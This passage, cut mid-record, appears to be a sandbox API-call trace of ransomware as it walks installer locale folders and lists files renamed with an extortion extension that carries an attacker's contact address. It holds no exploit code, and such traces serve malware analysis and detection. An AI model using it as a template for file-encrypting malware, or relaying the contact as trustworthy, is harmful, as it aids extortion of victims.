ftLastWriteTime.dwLowDateTime=0xa83c2db4, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa83c2db4, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa83c2db4, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa83e90d0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.211] FindNextFileW (in: hFindFile=0x6cfe88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7c75b66, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7c75b66, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7ca06b6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.211] FindClose (in: hFindFile=0x6cfe88 | out: hFindFile=0x6cfe88) returned 1 [0223.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.212] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1044", cAlternateFileName="")) returned 1 [0223.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.215] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7fe305a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.215] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa83e90d0, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa83e90d0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa841349a, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.215] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa83e90d0, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa83e90d0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa87c8c4c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.215] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7cc203c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7cc203c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7cc203c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.215] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7cc203c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7cc203c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7cc203c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.215] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.216] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.216] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1045", cAlternateFileName="")) returned 1 [0223.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.216] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0448 [0223.319] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.319] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa841349a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa841349a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa84819f7, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.320] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9342325, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9342325, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9368840, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.320] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7da6e3d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.320] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7da6e3d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7da6e3d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7da6e3d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.320] FindClose (in: hFindFile=0x6d0448 | out: hFindFile=0x6d0448) returned 1 [0223.321] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.321] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1046", cAlternateFileName="")) returned 1 [0223.321] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.321] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6cfec8 [0223.322] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa7df31c8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7df31c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.322] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa950bda2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa950bda2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa95320fd, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.322] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa958509d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa958509d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa958509d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.322] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7dcd0bb, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7dcd0bb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7dcd0bb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.322] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7dcd0bb, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7dcd0bb, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7dcd0bb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.322] FindClose (in: hFindFile=0x6cfec8 | out: hFindFile=0x6cfec8) returned 1 [0223.323] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.323] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1049", cAlternateFileName="")) returned 1 [0223.323] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.323] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.324] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.324] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa938e7e7, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa938e7e7, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa93b4963, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.324] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa93b4963, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa93b4963, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa98ebc5f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.324] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7fe305a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.324] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7fe305a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7fe305a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa80092b9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.325] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.325] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.325] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1053", cAlternateFileName="")) returned 1 [0223.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.326] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.326] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa802f4bc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.326] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9400e9c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9400e9c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94270b5, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.327] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa944d429, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa944d429, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9938147, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.327] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa80092b9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.327] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa80092b9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa80092b9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa802f4bc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.327] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.328] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1055", cAlternateFileName="")) returned 1 [0223.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.328] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.329] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, 